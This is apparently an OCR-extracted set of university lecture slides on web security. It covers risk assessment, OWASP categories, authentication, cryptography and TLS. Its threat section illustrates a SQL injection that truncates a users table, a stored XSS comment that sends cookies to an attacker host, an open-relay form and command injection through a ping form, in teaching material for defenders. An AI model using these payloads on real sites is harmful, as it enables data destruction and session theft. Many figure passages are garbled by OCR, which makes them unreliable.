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Topics

Chapter Objectives
A wide range of security principles and practices

Best practices of authentication systems and data
storage

About public key cryptography, SSL, and certificates

How to proactively protect your site against common
attacks
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Security Principles

= Information Security

= The CIA Triad (Figure 16.1)

e Confidentiality — The principle
of maintaining privacy for the
data you are storing,
transmitting, etc
Integrity — The principle of
ensuring that data is accurate
and correct.

Availability — The principle of
making information available s
when needed to authorized Availability
people.

m Security Standards

e |SO standards ISO/IEC 27002-
27--37
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Cases: Security Attacks and Impacts

2016 Data Security Incident, Uber

Newsroom, https://www.uber.com/newsroom/2016-data-incident/
Uber Hid 2016 Breach, Paying Hackers to Delete Stolen Data,

https://www.nytimes.com/2017/11/21/technology/uber-hack.html
The Biggest Cybersecurity Disasters of 2017 So Far,
est-hacks-so-far/

Shadow Brokers (NSA data stolen)

WannaCry (ransomware)

Petya, NotPetya (malware)

Wikileaks CIA Vault 7

Cloudbleed.

Macron Campaign Hack
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Risk Assessment and Management

Risk —a measure of how likely an attack is, and how
costly the impact of the attack would be if successful

Security Standards — ISO/IEC 27002-270037

Risk Assessment Factors: Actors, Impacts, Threats,
and Vulnerability

Actors

* Internal actors

» External actors

e Partner actors

Impacts

» A loss of availability

» A loss of confidentiality

* A loss of integrity
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Risk Assessment and Management
m Threats

» Refers to a particular path that a hacker cloud use to exploit
a vulnerability and gain unauthorized access to your
system.

* Also called attack vectors

s Categories of Threats (STRIDE)
Spoofing —use someone else’s info to access the system
Tampering — modify some data in unauthorized ways

Repudiation — remove all trace of their attack, so they
cannot be held accountable for other damage done

Information disclosure — access data they should bot be
able to

Denial of service — prevent the real users from accessing
the systems

Elevation of privilege
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Risk Assessment and Management

= Vulnerability —the security holes in your system

= The top 10 classes of vulnerability from the Open

Web Application Security Project (2013):
https://www.owasp.org/index.php/Top 10 2013-
Top 10

Al. Injection

A2. Broken authentication and session management

A3. Cross-site scripting

A4. Insecure direct object reference

AS5. Security misconfiguration

AG6. Sensitive data exposure

A7. Missing function level access control

A8. Cross-site request forgery (CSRF)

A9. Using components with unknown vulnerabilities

A10. Un-validated redirects and forwards
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Risk Assessment and Management

= The top 10 classes of vulnerability from the Open

Web Application Security Project (2017):
https://www.owasp.org/images/7/72/OWASP_To
-2017 %28en%29.pdf.pdf

A1:2017- Injection

A2:2017- Broken Authentication

A3:2017 — Sensitive Data Exposure

A4:2017- XML External Entities (XXE) - NEW

A5:2017- Broken Access Control {Merged A3+A7 from 2013)

A6:2017 — Security Misconfiguration

A7:2017 — Cross-Site Scripting (XSS)

A8:2017 — Insecure Deserialization {New, Community}

A9:2017 - Using components with unknown vulnerabilities

A10:2017 — Insufficient Logging & Monitoring {New, Comm.}
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Assessing Risk

= NIST Risk Management Guide for Information
Technology Systems (withdrawn, superseded by SP
800-30 Rev. 1),
https://csrc.nist.gov/publications/detail/sp/800-
30/archive/2002-07-01
SP 800-30 Rev.1 Guide for Conducting Risk
Assessment,
https://csrc.nist.gov/publications/detail/sp/800-
30/rev-1/final
Guide to Industrial Control Systems (ICS) Security,
2015, NIST,

http://nvipubs.nist.gov/nistpubs/SpecialPublications/
NIST.SP.800-82r2.pdf
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Assessing Risk

Table 16.1 Examples an Impact/Probability Risk
Assessment Table Using 16 as the Threshold

Impact(n?)
i [
Low High
Very 5 10 20 40 -
High
High |4 16 32 64
Medium |3 12 24 a8
Low 2 8 16 32
1 4 8 16
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Assessing Risk

= Table 16.1 Examples an Impact/Probability Risk
Assessment Table Using 16 as the Threshold

Impact (n?)
Medium High Very high

Probability
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Security Policy

s Usage Policy
» Social networking policy at work?
= Authentication Policy
» Access badge
» Biometric ID
» Password
* VPN
Legal Policy
» Data Retention and Backup Policies
» Accessibility Requirements
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Business Continuity & Plans

= Admin Password Management
s Backups and Redundancy
* Example Site
= A server with Apache, PHP code; a database server?
= The PHP code for the domain
= The database dump with all tables and data

» Choices
= Live backup (mirrored)
= Database and code somewhere —remotely accessible

» Geographic Redundancy
= Storage Mock Events
= Auditing
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Security By Design

Figure 16.2 Some examples of security input into the SDLC

Privacy needs
(Y Threat
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Code
reviews
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Security By Design
Code Reviews
e Peer-reviewed before committing it to the repository
« Company coding style and practice
e Informal and formal review process
Unit Testing
* Code Modules
* Class
e Security holes

Pair Programming
e Two programmers working together
Security Testing

e Testing the system against scenarios that attempt to break the
final system

» Penetration testing
Secure by Default
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Social Engineering
= Social engineering

* A broad term given to describe the manipulation of
attitudes and behaviors of a populace, often through
government or industrial propaganda and/or
coercion.

A human part of information security that increases
the effectiveness of an attack.

Social Engineering (Security),
https://en.wikipedia.org/wiki/Social engineerin

urity)
» http://www.social-engineer.org/
= Two popular techniques
e Phishing scams
» Security theater
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Social Engineering
s Other References
» Social Engineering (Security),
https://en.wikipedia.org/wiki/Social _engineerin
urity)
e http://www.social-engineer.org/

= Top 5 Social Engineering Exploit Techniques, by James
Heary, Network World,

http://www.pcworld.com/article/182180/top 5 social en
gineering exploit techniques.html

» 1) Familiarity exploit

» 2) Creating a hostile situation

e 3) Gathering and using information

* 4) Get ajob there

* 5) Reading body language
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Authentication
Figure 16.3 Authentication Factors

What you know (Knowledge)
Passwords, PIN, security questions, ...

What you have (Ownership)
Access card, cell phone, cryptographic FOB, ...

What you are {Inherence)
Retinas, fingerprints, DNA, walking gait, ...
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Authentication
Authentication Factors
* Knowledge factors: password, PIN, challenge questions

» Ownership factors: driver license, passport, cell phone,
key to a lock

* Inherence factors: biometric data — fingerprints, retinal
patterns, DNA sequence

Single-Factor Authentication

« Password/ Magnetized key badge
Multi-Factor Authentication

« ATM Machine: Access card and PIN
Third-Party Authentication

* Open Authentication (OAuth)
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Third Party Authentication

s Open Authentication (OAuth), http://oauth.net/

» A open protocol to allow secure authorization in a simple
standard method from web, mobile and desktop
applications.

» This specification is likely to produce a wide range of
non-interoperable implementation.

* OAuth 2.0, http://oauth.net/2/, Client and Server Libraries
for Java, PHP, Python, NodeJS, Ruby, .NET, etc

* Four Roles: Resource owner, Resource server, Client,
Authorization server
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Third Party Authentication

s Open Authentication (OAuth), http://oauth.net/
* Four Roles

= Resource owner — normally the end user who can
gain access to the resource

= Resource server — host the resources and can
process request using access tokens

= Client — the application making requests on behalf of
the resource owner

= Authorization server — issues tokens to the client upon
successful authentication of the resource owner.
(often this is the same as the resource server)
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Third-Party Authentlcatlon

= Figure 16.4 Ther i \@j
Steps required 0
to register and i
authenticate a | I

user using o |
OAuth client id, secrekt
00 User rexpsis bagin page

1 | |

e
I

i ammmﬁnmuamm“mmm

r~— 1 ]

| ﬂl.hmanidlqn sutherttic sfisn server returms &
I'"__ hﬂ!&tmlamghﬂﬂnﬁimmh

o

Auvihesnatizn e, seoet
Acmes teken request

Aocess Sulen fsrved an dient)

fxes k. iesnE eyl

Thee access ke obiained ey grans acess |
Gmhmﬁunhmm




Authorization

Some examples in web development where
proper authorization increases security

Using a separate database user for read/write privileges
on a database

Providing each user an account where they can access
their own file securely

Setting proper Read/Write/Execute permissions

Ensuring Apache is not running as the root account (an
account that can access everything)
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Cryptography

Figure 16.4 Message Intercepting

e Eve intercepts
£ e message.
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Cryptography

Cipher —a message that is scrambled so that it cannot
easily be read, unless one has some secrete key

Key — Can be a “number”, “phrase”, “page from a book”
Encryption
Decryption
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Cryptography

Figure 16.5 Symmetric encryption

y €D Alice encrypls message
% & with key.
licé ' €3 Alice transmits

{£) Eve intercepts
e cipher but
BY cannot
understand it.

dearypls it using key.

%‘ 0 Boh receives cipher and
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Substitution Ciphers — Cesar Cipher

» Figure 16.7 Caser Cipher for shift value of 3 (Hello =>
KHOOR)

|A|B|C|D|E|F|G|H|I|J|K|L|M|N|0|P|Q|R|S|T|U|V|W|X|Y|Z|

Plaln alphabet
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Substitution Ciphers — Vigenere
m Figure 16.7 Vigenere cipher example with key “hotdog”

Plaln text message
(H[E[c]c]ofoJe[A[R]R[EJADETRS]

+
|H|0|T|D|0|G|H|O T|D|0|G|H|0|T|D|I

Encrypt
= )

|P|T|F|P|D|K|M|P|L|V|T|H|L|T|L|w|* |H|0|T|D|0|G|

Cipher

[#fofT]oJofcu]ofT]oJofc[H]o]T]o]]

CPET 499/1TC 250 Web Systems, Paul I.
Lin

14



Substitution Ciphers

= One-time Pad Cipher

= Modern Block Ciphers
» Scrambled 64 or 128 bits block as a time
» Data Encryption Standard (DES)
» Advanced Encryption Standard (AES)

CPET 499/1TC 250 Web Systems, Paul I.
Lin

Figure 16.10 High-level illustration of the EDF cipher

) Feresch Sdbitbiock £ The bk bs gl into o 32-5it bordo.

111010010110...

Sub key 16

| 1011011110101... | | o10001010101... |

() Atter 16 reunds we hove
the scramblod 56-it valuc 3
il cipiver bl %

Lipher
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Public Key Cryptography

Public key cryptography (asymmetric cryptography)
Using two distinct keys:

» A public key — widely distributed

* A private key

Diffie-Hellman Key Exchange algorithm

RSA (Ron Rivest, Adi Shamir and Leonard Adeleman)
algorithm underpinning the HTTPs protocol
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Digital Signatures

= A mathematically secure way of validating that a
particular digital document

» was created by the person claiming to create it
(authenticity)

» was not modified in transit (integrity), and
» cannot be denied (non-repudiation)
= An example using public key cryptography
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Digital Signatures

Figure 16.12 Digital Signature and Validation
Caladoted hesh

Hisssage
E | f8017b18c39de92871a980b. . . 8F94Ff |
Alice calodates a hash
o o=, €} ¥fthe decrypted hash equals

the caleulaied hesh, the message
Crtgdated hash is |egitimate.
f8017b18c39de92871a980b. . . 8F94ff |

[ £8017b18¢39de928712980b. . .8794FF |
Diatrppiad fush [ 3

O mimuby- 3

| 2019d938d038849F8b08a8569a100b

Segeplune
Cokeaslsied fush

|f8017b18c39de928?13980b...8f94ff

£ Aix e hashwith

her vals key this &
g & Signaium.

Sinatuns ¥

|2019d938d038849f8b08a8569a100h|

Bab caloulates the fefanapine
hash of the message. 5

>

| 2019d938d038849f8b08a8569a100b I

Bob reccives the message
Sgreive o and signaiure,

Hypertext Transfer Protocol Secure (HTTPs)

HTTPs is the HTTP running on top of the Transport
Layer Security (TLS)

TLS v1.0 — an improvement on Secure Socket Layer 3.0
(SSL)

For compatibility reason, we refer it as HTTP running on
TLS/SSL

Secure Handshakes
Certificates and Authorities
» Self-signed Certificates
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Figure 16.14 SSL Secure Handshake

() HELLO icipher Est, SSL version, etc}

€ HELLO {cipher selection)

eanntunhmlluushurh'ﬂuu
or gets the user to acceptic
amummmmm

@ € symesetric key computed

€ clentdone

Qs«mm

) secure transmission completed

Certificates and Authorities

= Figure 16.15 The content of a self-signed certificate for
funwebdev.com (X.509 certificate Example)

Plain text contemt X.509 &l Actual transmitted certificate

certiiica‘rem

Common Name: funwebdev.com ---BEGIN CERTIFICATE-——
Organization: funwebdev.com MICFTCCALYCCOChaSs 1iLIANNANRknhkiRAWNRAQIIFANC Rg)F
Locality: Calgary MAKkGA1JEBhMCQDEXEDAOBgNVBAGTBOFsYmVydGEXEDADBgN
2 VBACTBONREG dhankxF AUBGNVBAGTDWZ 1bndlYimRIdi5jt20x F/AU
State: Alberta BoNV3AMTDWE 1bndiYmRIdiSjb20xHzAdBakqhkiGIWOBCQEWEH
Country: CA Job2FQG10cm95Y MwuY 2EwHhNMTMWNZM]IONUZWheNMT
Valid From: July 23, 2013 e 0 I B
Valid To: July 23, 2014 WZ1bndl fmRIdi5jb20xFAUBGNVBAMTDWZ1 bndl YmRIdiSjb20xHz
Issuer: funwebdev.com, funwebdev.com %?Wﬁwmwﬁmm*m
I(e;[ Size: 1024 bit BMUGZIQTPIUIpXXWS DY mQMYmOEE 7myrhmj 3. DUn-+UEGsY
Serial Number: 9f6da4acd62500a0 158+GrDoyZ/5hhGBLYOLINCROBULSAYNRIBT-+mWOT45 QyeqH/9C
VcTwl4DAqVvAgMBAAZWDQYKaZIhvcNAQEFBQADG YEAAZOsXgr
HLw/DZXmagcV/WBC859me 3D3gbehjaaNYuSc-+Fn2FpSTzBoYel.
mOWWXermii4bMWypp3IbhPT12+XcViIMdadnLSb/SPyjvdyvc9jel
YalcDZ 1147 vEbk 1ixwZSBOE=
-----END CERTIFICATE-—--
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Certificates and Authorities

Certificate - X.509 certificate which contains many
details including

e Algorithm used
* The domain it was issued for
* Some public key information

X.509 Client Certificate,
https://help.sap.com/saphelp nw73/helpdata/en/43/dc1f
a58048070eel10000000a422035/content.htm

X.509 Certificate Tool, https://msdn.microsoft.com/en-
us/library/aa529278.aspx

X.509 Certificates and Certificate Revocation Lists
(CRLS),

http://docs.oracle.com/javase/7/docs/technotes/quides/s
ecurity/cert3.html
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Firefox Certificate Management Interface

= Options => Certificates => View Certificates (Some
examples)

8 Conibon Mg
Your Cenificates | Pecple | Servers | Authorities | Others

e huree cortificates ce file that identify these certificate suthesiti

Centificate Home Security Device
a(c) 2005 TORKTRUST Bilgi etigin ve Biligen...
TURKTRUST Elektrend Sertifsea Hizmet 5 Bualtin Olyect Token
ah-Trust Ges. £, Sicherheitssysteme im elekdr... Wour Certificates | People | Seroers | Authonties | Gthers
A TrusterQual-03 Builtin Dbjest Token o o
You have centificates cn file that identify these servers
4 AC Carerfura 5.4,
Chambers of Commirce Rost - 2008 Buittin Object Token Centificate Mame Server Lifetime Expires On
Glokal i Boot - 2008 Builtin Object Token

: aDigiNotar
4 AC Carerfurna 5A CF A32T430T

DigiNotar Cyber CA . 10/42011
9/20/2013
32005
8/26/2013

DigiNotar PKloverheid .. * 3232020
DigiNotar PKloverheid .. * T/272015

[espotam] [ Espor hete... | | Bucaptionn|

Lo |
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Security Best Practices

= Data Storage

» Secure Hash

» Salting the Hash
= Monitor Your Systems

» System Monitors

» Access Monitors

» Automate Intrusion Blocking
= Audit and Attack Thyself
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Security Best Practices — Linux Systems

References

= Ch. 15 Security, Linux System Administration, Linux
System Administration, 2"d ed, by Vicki Stanfield and
Roderick Smith, published by Sybex

Ch. 15 System Security, A Practical Guide to Ubuntu
Linux, by Mark G. Sobell, 4" edition, published by
Prentice Hall

Password Formats - Basic Authentications,
https://httpd.apache.org/docs/2.2/misc/password _encry
ptions.html

» The apache-md5 package (OpenSSL MD5() function),
https://hackage.haskell.org/package/apache-md5

CPET 499/1TC 250 Web Systems, Paul I.
Lin




Security Best Practices — Microsoft Systems
and Servers
References

Windows 7: Security Features,
http://www.microsoft.com/security/pc-security/windows7.aspx

Windows 10 Security Overview,
https://technet.microsoft.com/en-us/librar

What's New in Windows Server 2016 Technical Preview,

Aug. 18, 2015, https://technet.microsoft.com/en-
us/library/dn765472.aspx

Security Best Practice for IIS 8, June 24,

2013, https://technet.microsoft.com/en-us/library/jj635855.aspx
Windows Server, https://technet.microsoft.com/en-
us/library/bb625087.aspx
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Security Best Practices — Linux Systems

Reference - Linux System Administration, 2"d ed, by VicKki
Stanfield and Roderick Smith, published by Sybex

e User-based Security

e Port Security
« Host-based Security
Physical Access Security
File and/or Device Assignment of Permission
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Security Best Practices — Linux Systems
Reference - Linux System Administration, 2"d ed, by VicKki
Stanfield and Roderick Smith, published by Sybex
User-based Security:

* What resources should be available to the claimed
user at this time?

* Pluggable Authentication Modules (PAM) to secure
the system from intrusion by unauthorized users.
» Password Authentication Algorithms

= DES (Data Encryption Standard) — encoded using the
Federal Data Encryption standard algorithm

= MD5 (Message Digest Algorithm, version 5) —
e Uses RSA Data Security, Inc’s algorithm
* By default on most Linux system

CPET 499/1TC 250 Web Systems, Paul I.
Lin

Security Best Practices — Linux Systems
Reference - Linux System Administration, 2"d ed, by VicKki
Stanfield and Roderick Smith, published by Sybex
User-based Security: Hashing Passwords

* Creating Password
= Salt (2-character) + Clear Text Password =>
[Hashing Algorithm ] => Salt/Password Hash
* Logging In
= (User Supplied Password) + (/etc/shadow or
/etc/passwd) Salt => [Hashing Algorithm] => Hash
+ Stored Hash (/etc/shadow or /etc/password) =>

Login Fail (Not equal to) OR Login Succeeds
(Equal to)
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Security Best Practices — Linux Systems

Reference - Linux System Administration, 2"d ed, by VicKki
Stanfield and Roderick Smith, published by Sybex

» User-based Security:
= What resources should be available to the claimed user at
this time?
= Pluggable Authentication Modules (PAM) to secure the
system from intrusion by unauthorized users.
» Port Security:

= Protect network ports from unauthorized hosts and
networks

= Handled by the kernel
= IP firewall administration (IP chains or IP tables)

» Host-based Security:

= Restrict network access to system resources and services
based on the requesting hosts.
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Security Best Practices — Linux Systems
Reference - Linux System Administration, 2"d ed, by VicKki
Stanfield and Roderick Smith, published by Sybex

» User-based Security:

= What resources should be available to the claimed user at
this time?

= Pluggable Authentication Modules (PAM) to secure the
system from intrusion by unauthorized users.
» Port Security:

= Protect network ports from unauthorized hosts and
networks

= Handled by the kernel
= IP firewall administration (IP chains or IP tables)

» Host-based Security:

= Restrict network access to system resources and services
based on the requesting hosts.
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Common Threat Vectors

SQL Injection

The attack technique of using reserved SQL symbol to try and
make the web server execute a malicious query other than what
was intended.

Must Sanitize inputs
Give Least possible privileges

Cross-Site Scripting (XSS)
Insecure Direct Object Reference
Denial of Service

Security Misconfiguration
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Figure 16.19 a SQL Injection attack (right) and intended usage (left)

fuser = $_POST['username'];

fpass = §_POST['pass'];

$s5q1 = "SELECT * FROM Users WHERE
uname="$user' AND passwd=MD5('$pass')";

sqli_query($sql);

| |

SELELT = FROM Users WHERE ureawe="';
TRUNCATE TABLE Users;
# " AND passwd=-MD5C"")

sers e
e

€ Al records in Users table B
are deleied.
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Cross-Site Scripting

m Cross-Site Scripting (XSS) refers to a type of attack in
which a malicious script (JavaScript, VBScript, or
Action Script, etc) is embedded into an otherwise
trustworthy website.

= Two main categories of XSS
» Reflected XSS (Non-persistent XSS)

= Are attacks that send malicious content to the sever,
so that in the server response, the malicious content is
embedded

o Store XSS (Persistent XSS)

= More dangerous which may impacts all users visit the
site
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Figure 16.20 lllustration of a Reflection XSS Attack

) Amalicious user tagels & siie
uam%m
from the user ack & them.

Browser

index. php?name=eve

Browsar

€ The melidious wer tests & simplo X55 o see I R works

b index.php?rname=<scripl=alerli("bad™);=/scripls

(E) The mualiciens user crafis a mens malicious LAL
| imdex. pip?ame=cacripts. . .<fzcripts

The: mslicious user might shovten i with 3 URL shertening service.
[werp: /e 1prmnanes |

16) The victim dicks the link, arsd o
the stz rellects the script i —
the iser's Erensser.
i LR L
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Figure 16.21 lllustration of a Stored XSS Attack

e e e

=

I
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Security is s0 easy

Ey: Ricardo ] e
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T
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Add a comment
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Everyone says securiry is hard, bur T think
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<script> Security is so casy
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sre="htto://crookshus . xx/steal . phpscookie=" e

+ document. cookie; i ) .
«/script~ You are so rightl Everyone says sceurity 1s hard, but 1 think
they are wrong, Please comment.,.

! 1 comment by: Nice guy
conk i e=aB 707147901034 0 You are so right!
Gnumuwnnm pr——

an caakic ko & malidous users serwe:

LS T—

serer 2 g ogged

Common Threat Vectors

= Insecure Direct Object Reference

* Expose some internal value or key of the application
to the user

* Then the attackers can then manipulate the internal
keys to gain access to things that should not have
access to

« Examples:

= An archive of the site’s PHP code or passwords can
be potentially accessed or downloaded

= A database key in the URLSs that are visible to users
= Storing files on the server

= Denial of Service

= Security Misconfiguration
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Denial of Services

= Denial of Service attacks (DoS)

* are attacks that aim to overload a server with illegitimate
requests in order to prevent the site from responding to
the legitimate ones,

* Methods of prevention

= Blocking the IP address in the firewall or the Apache
server

» Distributed DoS Attack (DDoS)
 Attacks are coming from multiple machines
* Recent DDoS attack on Spamhaus servers (generates
300 Gbps worth of requests),

http://www.spamhaus.org/news/article/695/answers-
about-recent-ddos-attack-on-spamhaus
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Figure 16.22 DoS and DDoS

@f‘m’h CET index.php ~ % Denial of service

g

This computer is rumning a program or scaipt
that is repeatedly requesting a page from the seiver

@ CET index.php CET index.php@
p1 (=
" GET index.php  GET index.php ~—7

Each computer in this bat army Is running the same program or script that is bombarding
the server with requests, These users are prohably unaware that this is happening.
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Security Misconfiguration

Out-of-Date Software
Open Mail Relays

» Refers to any email server that allows someone to route
email through without authentication

More Input Attacks

» Refers to the potential vulnerability that occurs when the
users through their HTT requests, transmit a variety of
strings and data that are directly used by the server
without sanitation.

Virtual Open Mail Relay — Figure 14.23
 HTML web email send to any email addresses
Arbitrary program execution — Figure 16.24
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Figure 16.23 Virtual open relay exploit

A ookt forma ixsncmils the amall of the ilalicions user sees thk you ane iransmiiiing
ammummhum o uﬂmnmwamam
emhhlﬂlilnn‘m

Aphrodi tegabe . xyz
Apollofabc. xyz
Contact Us Ares@abe. xyz
Artemis@abc .xyz
Athenalabc.xyz

Teus@abc. xyz

sender-fakenamedrealbank. con
receiver-Aphrodite@ab. xyz
message-[span (or sorsel]

Qutry Siing pammeiney

sender-some-personBehers-ever . con

L8
. POSI
receiver-rhoar@meroyal.ca
ge-[Hello I Tove your book ...] O:I'EF%W
PO sk

Sfrom = §_POST['sender'];

§to = §_POST['receiver'];

$msg = 3 POSI["message'];

$header = “From: “ . $from . “\r\n";
mail($ta, "Form message",$msg,header);
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Figure 16.24 Command-line pass-through of user input

The I5 Int=nded 1 echo the of
033’9:.;.,.,.“.,,.““......:..

Browser

Ping an IP address

Fnter IP:

Browser
I
Ping an I address

FEnter 1P: | funwebdev. com | Ts

$ip = § POST['ip'];

fret = exec("ping -c 1 $ip 2=&1", Soutput);
print_r(output);

print_r(iret);

}

PING funwebdev.com (bh.147.244.79): ...

--- tumwehdev.com ping statistics ---
4 packets transmitted, 4 packets ...
round-trip minfavg/max/stddev - ...

round-trip min/avg/max/stddev - ...

G4 bytes from GG.147_244 79: icmp_seq=0 ___
=~ 64 bytes from 66.147.244.79: icmp_seg-1 ...
h4 hytes from Gh. 147744 icmp_senq=r ...
64 bytes from 66.147.244 .79 icmp_seqg=3 ...

al82761.png
b171628.png

= cOG8716.png
super-secret.png
top-secret.txt

3
21928.pny

Summary and Conclusion
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